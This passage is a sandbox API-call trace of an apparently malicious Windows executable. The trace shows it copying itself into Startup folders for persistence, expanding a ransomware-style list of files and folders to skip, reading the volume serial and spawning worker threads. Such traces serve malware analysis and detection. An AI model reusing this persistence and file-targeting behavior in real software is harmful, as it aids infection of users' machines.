0xaf0000 [0273.867] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x118) returned 0xafa928 [0273.867] CopyFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mjhrrw.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\mjhrrw.exe"), lpNewFileName="c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\mjhrrw.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\mjhrrw.exe"), bFailIfExists=1) returned 0 [0273.867] CopyFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\sfor.txt" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\sfor.txt"), lpNewFileName="c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\sfor.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\sfor.txt"), bFailIfExists=1) returned 0 [0273.868] GetFileAttributesW (lpFileName="c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\sfor.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\sfor.txt")) returned 0xffffffff [0274.204] CopyFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mjhrrw.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\mjhrrw.exe"), lpNewFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\mjhrrw.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\mjhrrw.exe"), bFailIfExists=1) returned 0 [0274.205] CopyFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\sfor.txt" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\sfor.txt"), lpNewFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\sfor.txt" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\sfor.txt"), bFailIfExists=1) returned 0 [0274.205] GetFileAttributesW (lpFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\sfor.txt" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\sfor.txt")) returned 0xffffffff [0274.205] GetProcessHeap () returned 0xaf0000 [0274.205] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafa928 | out: hHeap=0xaf0000) returned 1 [0274.205] GetProcessHeap () returned 0xaf0000 [0274.205] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb010f8 | out: hHeap=0xaf0000) returned 1 [0274.205] GetProcessHeap () returned 0xaf0000 [0274.206] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0a280 | out: hHeap=0xaf0000) returned 1 [0274.206] GetProcessHeap () returned 0xaf0000 [0274.206] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0a498 | out: hHeap=0xaf0000) returned 1 [0274.206] GetProcessHeap () returned 0xaf0000 [0274.206] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0a6b0 | out: hHeap=0xaf0000) returned 1 [0274.206] GetProcessHeap () returned 0xaf0000 [0274.206] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0a8c8 | out: hHeap=0xaf0000) returned 1 [0274.206] GetProcessHeap () returned 0xaf0000 [0274.206] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0aae0 | out: hHeap=0xaf0000) returned 1 [0274.206] GetProcessHeap () returned 0xaf0000 [0274.206] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0acf8 | out: hHeap=0xaf0000) returned 1 [0274.206] GetProcessHeap () returned 0xaf0000 [0274.206] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf82d8 | out: hHeap=0xaf0000) returned 1 [0274.206] GetProcessHeap () returned 0xaf0000 [0274.206] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafae98 | out: hHeap=0xaf0000) returned 1 [0274.206] GetProcessHeap () returned 0xaf0000 [0274.206] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafa0e8 | out: hHeap=0xaf0000) returned 1 [0274.206] GetProcessHeap () returned 0xaf0000 [0274.206] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x20) returned 0xb0c0f8 [0274.206] GetProcessHeap () returned 0xaf0000 [0274.206] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x1e) returned 0xb0c120 [0274.206] GetProcessHeap () returned 0xaf0000 [0274.207] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x1e) returned 0xb0c210 [0274.207] GetProcessHeap () returned 0xaf0000 [0274.207] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x90) returned 0xafaf60 [0274.207] GetProcessHeap () returned 0xaf0000 [0274.207] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafaf60 | out: hHeap=0xaf0000) returned 1 [0274.207] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb0c120, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0274.207] GetProcessHeap () returned 0xaf0000 [0274.207] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c210 | out: hHeap=0xaf0000) returned 1 [0274.207] GetProcessHeap () returned 0xaf0000 [0274.207] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c0f8 | out: hHeap=0xaf0000) returned 1 [0274.207] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x79fc7c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x79fc7c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0274.207] GetProcessHeap () returned 0xaf0000 [0274.207] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c120 | out: hHeap=0xaf0000) returned 1 [0274.207] GetProcessHeap () returned 0xaf0000 [0274.207] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x28) returned 0xb009f0 [0274.207] GetProcessHeap () returned 0xaf0000 [0274.207] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10) returned 0xb0ba90 [0274.207] GetProcessHeap () returned 0xaf0000 [0274.207] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x190) returned 0xafb070 [0274.207] GetProcessHeap () returned 0xaf0000 [0274.208] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x60) returned 0xaf82d8 [0274.208] GetProcessHeap () returned 0xaf0000 [0274.208] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x5a) returned 0xafae98 [0274.208] GetProcessHeap () returned 0xaf0000 [0274.208] RtlReAllocateHeap (Heap=0xaf0000, Flags=0x0, Ptr=0xafae98, Size=0xb2) returned 0xafb7d8 [0274.208] GetProcessHeap () returned 0xaf0000 [0274.208] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x184) returned 0xafa700 [0274.208] GetProcessHeap () returned 0xaf0000 [0274.208] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10) returned 0xb0b9e8 [0274.208] GetProcessHeap () returned 0xaf0000 [0274.208] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x20a) returned 0xb0a280 [0274.208] GetProcessHeap () returned 0xaf0000 [0274.208] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x250) returned 0xb0a498 [0274.208] GetProcessHeap () returned 0xaf0000 [0274.208] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0xa0) returned 0xafaf60 [0274.208] GetProcessHeap () returned 0xaf0000 [0274.208] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x96) returned 0xaf8850 [0274.208] GetProcessHeap () returned 0xaf0000 [0274.208] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x96) returned 0xafa5d8 [0274.208] GetProcessHeap () returned 0xaf0000 [0274.208] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x90) returned 0xafb590 [0274.208] GetProcessHeap () returned 0xaf0000 [0274.209] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafb590 | out: hHeap=0xaf0000) returned 1 [0274.209] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;sfor.txt", lpDst=0xaf8850, nSize=0x4b | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;sfor.txt") returned 0x4b [0274.209] GetProcessHeap () returned 0xaf0000 [0274.209] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafa5d8 | out: hHeap=0xaf0000) returned 1 [0274.209] GetProcessHeap () returned 0xaf0000 [0274.209] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafaf60 | out: hHeap=0xaf0000) returned 1 [0274.209] GetProcessHeap () returned 0xaf0000 [0274.209] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x70) returned 0xafae98 [0274.209] GetProcessHeap () returned 0xaf0000 [0274.209] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x62) returned 0xaf4910 [0274.209] GetProcessHeap () returned 0xaf0000 [0274.209] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x62) returned 0xaf4790 [0274.209] GetProcessHeap () returned 0xaf0000 [0274.209] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x90) returned 0xafaf60 [0274.209] GetProcessHeap () returned 0xaf0000 [0274.209] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafaf60 | out: hHeap=0xaf0000) returned 1 [0274.209] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0xaf4910, nSize=0x31 | out: lpDst="C:\\WINDOWS;C:\\ProgramData\\microsoft\\windows\\cach") returned 0x34 [0274.209] GetProcessHeap () returned 0xaf0000 [0274.209] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf4790 | out: hHeap=0xaf0000) returned 1 [0274.209] GetProcessHeap () returned 0xaf0000 [0274.209] RtlReAllocateHeap (Heap=0xaf0000, Flags=0x0, Ptr=0xaf4910, Size=0xc2) returned 0xafa5d8 [0274.209] GetProcessHeap () returned 0xaf0000 [0274.209] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0xc2) returned 0xafb590 [0274.209] GetProcessHeap () returned 0xaf0000 [0274.209] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x90) returned 0xafaf60 [0274.209] GetProcessHeap () returned 0xaf0000 [0274.210] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafaf60 | out: hHeap=0xaf0000) returned 1 [0274.210] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0xafa5d8, nSize=0x61 | out: lpDst="C:\\WINDOWS;C:\\ProgramData\\microsoft\\windows\\caches;") returned 0x34 [0274.210] GetProcessHeap () returned 0xaf0000 [0274.210] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafb590 | out: hHeap=0xaf0000) returned 1 [0274.210] GetProcessHeap () returned 0xaf0000 [0274.210] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafae98 | out: hHeap=0xaf0000) returned 1 [0274.210] GetProcessHeap () returned 0xaf0000 [0274.210] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x20a) returned 0xb0a6f0 [0274.210] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xb0a6f0, nSize=0x104 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mjhrrw.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\mjhrrw.exe")) returned 0x47 [0274.210] GetProcessHeap () returned 0xaf0000 [0274.210] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0a6f0 | out: hHeap=0xaf0000) returned 1 [0274.210] GetProcessHeap () returned 0xaf0000 [0274.210] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x24e) returned 0xb0a6f0 [0274.210] GetProcessHeap () returned 0xaf0000 [0274.210] RtlReAllocateHeap (Heap=0xaf0000, Flags=0x0, Ptr=0xb0a6f0, Size=0x3cc) returned 0xb0a6f0 [0274.210] GetProcessHeap () returned 0xaf0000 [0274.210] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x98) returned 0xafaf60 [0274.210] GetProcessHeap () returned 0xaf0000 [0274.210] RtlReAllocateHeap (Heap=0xaf0000, Flags=0x0, Ptr=0xafaf60, Size=0xae) returned 0xafaf60 [0274.210] GetProcessHeap () returned 0xaf0000 [0274.210] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x6a) returned 0xafae98 [0274.210] GetProcessHeap () returned 0xaf0000 [0274.210] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0a280 | out: hHeap=0xaf0000) returned 1 [0274.210] GetProcessHeap () returned 0xaf0000 [0274.210] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0a498 | out: hHeap=0xaf0000) returned 1 [0274.210] GetProcessHeap () returned 0xaf0000 [0274.211] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf8850 | out: hHeap=0xaf0000) returned 1 [0274.211] GetProcessHeap () returned 0xaf0000 [0274.211] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafa5d8 | out: hHeap=0xaf0000) returned 1 [0274.211] GetProcessHeap () returned 0xaf0000 [0274.211] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0ba90 | out: hHeap=0xaf0000) returned 1 [0274.211] GetProcessHeap () returned 0xaf0000 [0274.211] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafb070 | out: hHeap=0xaf0000) returned 1 [0274.211] GetProcessHeap () returned 0xaf0000 [0274.211] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf82d8 | out: hHeap=0xaf0000) returned 1 [0274.211] GetProcessHeap () returned 0xaf0000 [0274.211] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafa700 | out: hHeap=0xaf0000) returned 1 [0274.211] GetProcessHeap () returned 0xaf0000 [0274.211] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x20) returned 0xb0c2d8 [0274.211] GetProcessHeap () returned 0xaf0000 [0274.211] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x1e) returned 0xb0c058 [0274.211] GetProcessHeap () returned 0xaf0000 [0274.211] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x1e) returned 0xb0c080 [0274.211] GetProcessHeap () returned 0xaf0000 [0274.211] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x90) returned 0xaf8850 [0274.212] GetProcessHeap () returned 0xaf0000 [0274.212] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf8850 | out: hHeap=0xaf0000) returned 1 [0274.212] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb0c058, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0274.212] GetProcessHeap () returned 0xaf0000 [0274.212] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c080 | out: hHeap=0xaf0000) returned 1 [0274.212] GetProcessHeap () returned 0xaf0000 [0274.212] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c2d8 | out: hHeap=0xaf0000) returned 1 [0274.212] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x79fc7c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x79fc7c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0274.212] GetProcessHeap () returned 0xaf0000 [0274.212] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c058 | out: hHeap=0xaf0000) returned 1 [0274.212] GetProcessHeap () returned 0xaf0000 [0274.212] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x28) returned 0xb00660 [0274.212] GetProcessHeap () returned 0xaf0000 [0274.212] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10) returned 0xb0b928 [0274.212] GetProcessHeap () returned 0xaf0000 [0274.212] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x190) returned 0xafb070 [0274.212] GetProcessHeap () returned 0xaf0000 [0274.212] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x60) returned 0xaf82d8 [0274.212] GetProcessHeap () returned 0xaf0000 [0274.212] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x5a) returned 0xaf4910 [0274.213] GetProcessHeap () returned 0xaf0000 [0274.213] RtlReAllocateHeap (Heap=0xaf0000, Flags=0x0, Ptr=0xaf4910, Size=0xb2) returned 0xaf8850 [0274.213] GetProcessHeap () returned 0xaf0000 [0274.213] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x184) returned 0xafa700 [0274.213] GetProcessHeap () returned 0xaf0000 [0274.213] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10) returned 0xb0b940 [0274.213] GetProcessHeap () returned 0xaf0000 [0274.213] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x20a) returned 0xb0aac8 [0274.213] GetProcessHeap () returned 0xaf0000 [0274.213] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x250) returned 0xb0a280 [0274.213] GetProcessHeap () returned 0xaf0000 [0274.213] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0xa0) returned 0xafa5d8 [0274.213] GetProcessHeap () returned 0xaf0000 [0274.213] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x96) returned 0xafb590 [0274.213] GetProcessHeap () returned 0xaf0000 [0274.213] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x96) returned 0xafa368 [0274.213] GetProcessHeap () returned 0xaf0000 [0274.213] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x90) returned 0xafa4a0 [0274.213] GetProcessHeap () returned 0xaf0000 [0274.213] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafa4a0 | out: hHeap=0xaf0000) returned 1 [0274.213] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;sfor.txt", lpDst=0xafb590, nSize=0x4b | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;sfor.txt") returned 0x4b [0274.213] GetProcessHeap () returned 0xaf0000 [0274.213] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafa368 | out: hHeap=0xaf0000) returned 1 [0274.213] GetProcessHeap () returned 0xaf0000 [0274.213] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafa5d8 | out: hHeap=0xaf0000) returned 1 [0274.214] GetProcessHeap () returned 0xaf0000 [0274.214] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x70) returned 0xaf4910 [0274.214] GetProcessHeap () returned 0xaf0000 [0274.214] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x62) returned 0xaf4790 [0274.214] GetProcessHeap () returned 0xaf0000 [0274.214] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x62) returned 0xaf4340 [0274.214] GetProcessHeap () returned 0xaf0000 [0274.214] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x90) returned 0xafa5d8 [0274.214] GetProcessHeap () returned 0xaf0000 [0274.214] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafa5d8 | out: hHeap=0xaf0000) returned 1 [0274.214] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0xaf4790, nSize=0x31 | out: lpDst="C:\\WINDOWS;C:\\ProgramData\\microsoft\\windows\\cach") returned 0x34 [0274.214] GetProcessHeap () returned 0xaf0000 [0274.214] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf4340 | out: hHeap=0xaf0000) returned 1 [0274.214] GetProcessHeap () returned 0xaf0000 [0274.214] RtlReAllocateHeap (Heap=0xaf0000, Flags=0x0, Ptr=0xaf4790, Size=0xc2) returned 0xafa5d8 [0274.214] GetProcessHeap () returned 0xaf0000 [0274.214] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0xc2) returned 0xafa368 [0274.214] GetProcessHeap () returned 0xaf0000 [0274.214] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x90) returned 0xafa4a0 [0274.214] GetProcessHeap () returned 0xaf0000 [0274.214] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafa4a0 | out: hHeap=0xaf0000) returned 1 [0274.214] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0xafa5d8, nSize=0x61 | out: lpDst="C:\\WINDOWS;C:\\ProgramData\\microsoft\\windows\\caches;") returned 0x34 [0274.214] GetProcessHeap () returned 0xaf0000 [0274.214] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafa368 | out: hHeap=0xaf0000) returned 1 [0274.214] GetProcessHeap () returned 0xaf0000 [0274.214] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf4910 | out: hHeap=0xaf0000) returned 1 [0274.214] GetProcessHeap () returned 0xaf0000 [0274.215] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x20a) returned 0xb0a4d8 [0274.215] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xb0a4d8, nSize=0x104 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mjhrrw.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\mjhrrw.exe")) returned 0x47 [0274.215] GetProcessHeap () returned 0xaf0000 [0274.215] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0a4d8 | out: hHeap=0xaf0000) returned 1 [0274.215] GetProcessHeap () returned 0xaf0000 [0274.215] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x182) returned 0xafa0e8 [0274.215] GetProcessHeap () returned 0xaf0000 [0274.215] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x24e) returned 0xb0cd00 [0274.215] GetProcessHeap () returned 0xaf0000 [0274.215] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x98) returned 0xafa368 [0274.215] GetProcessHeap () returned 0xaf0000 [0274.215] RtlReAllocateHeap (Heap=0xaf0000, Flags=0x0, Ptr=0xafa368, Size=0xae) returned 0xafa368 [0274.215] GetProcessHeap () returned 0xaf0000 [0274.215] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x6a) returned 0xaf4910 [0274.215] GetProcessHeap () returned 0xaf0000 [0274.215] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0aac8 | out: hHeap=0xaf0000) returned 1 [0274.215] GetProcessHeap () returned 0xaf0000 [0274.215] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0a280 | out: hHeap=0xaf0000) returned 1 [0274.215] GetProcessHeap () returned 0xaf0000 [0274.215] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafb590 | out: hHeap=0xaf0000) returned 1 [0274.215] GetProcessHeap () returned 0xaf0000 [0274.215] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafa5d8 | out: hHeap=0xaf0000) returned 1 [0274.215] GetProcessHeap () returned 0xaf0000 [0274.215] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0b928 | out: hHeap=0xaf0000) returned 1 [0274.215] GetProcessHeap () returned 0xaf0000 [0274.215] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafb070 | out: hHeap=0xaf0000) returned 1 [0274.216] GetProcessHeap () returned 0xaf0000 [0274.216] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf82d8 | out: hHeap=0xaf0000) returned 1 [0274.216] GetProcessHeap () returned 0xaf0000 [0274.216] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafa700 | out: hHeap=0xaf0000) returned 1 [0274.216] GetProcessHeap () returned 0xaf0000 [0274.216] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x14) returned 0xb011d8 [0274.216] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x3822ee, lpParameter=0xb011d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x248 [0274.217] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x38239a, lpParameter=0x79fcb4, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x244 [0274.218] GetProcessHeap () returned 0xaf0000 [0274.218] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x14) returned 0xb00ef8 [0274.218] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x382161, lpParameter=0xb00ef8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24c [0274.218] GetProcessHeap () returned 0xaf0000 [0274.218] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x14) returned 0xb01098 [0274.218] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x381a76, lpParameter=0xb01098, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x250 [0274.219] GetProcessHeap () returned 0xaf0000 [0274.219] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x14) returned 0xb011f8 [0274.219] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x381cc5, lpParameter=0xb011f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x254 [0274.220] WaitForSingleObject (hHandle=0x250, dwMilliseconds=0xffffffff) Thread: id = 90 os_tid = 0xc0c Thread: id = 91 os_tid = 0x454 [0274.132] GetProcessHeap () returned 0xaf0000 [0274.132] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x20) returned 0xb0c030 [0274.132] GetProcessHeap () returned 0xaf0000 [0274.132] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x14) returned 0xb00f58 [0274.132] GetProcessHeap () returned 0xaf0000 [0274.132] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x14) returned 0xb01258 [0274.132] GetProcessHeap () returned 0xaf0000 [0274.132] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x90) returned 0xaf4c40 [0274.132] GetProcessHeap () returned 0xaf0000 [0274.132] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf4c40 | out: hHeap=0xaf0000) returned 1 [0274.132] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0xb00f58, nSize=0xa | out: lpDst="") returned 0x1c [0274.132] GetProcessHeap () returned 0xaf0000 [0274.132] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb01258 | out: hHeap=0xaf0000) returned 1 [0274.132] GetProcessHeap () returned 0xaf0000 [0274.133] RtlReAllocateHeap (Heap=0xaf0000, Flags=0x0, Ptr=0xb00f58, Size=0x26) returned 0xb00840 [0274.133] GetProcessHeap () returned 0xaf0000 [0274.133] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x26) returned 0xb009c0 [0274.133] GetProcessHeap () returned 0xaf0000 [0274.133] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x90) returned 0xaf4c40 [0274.133] 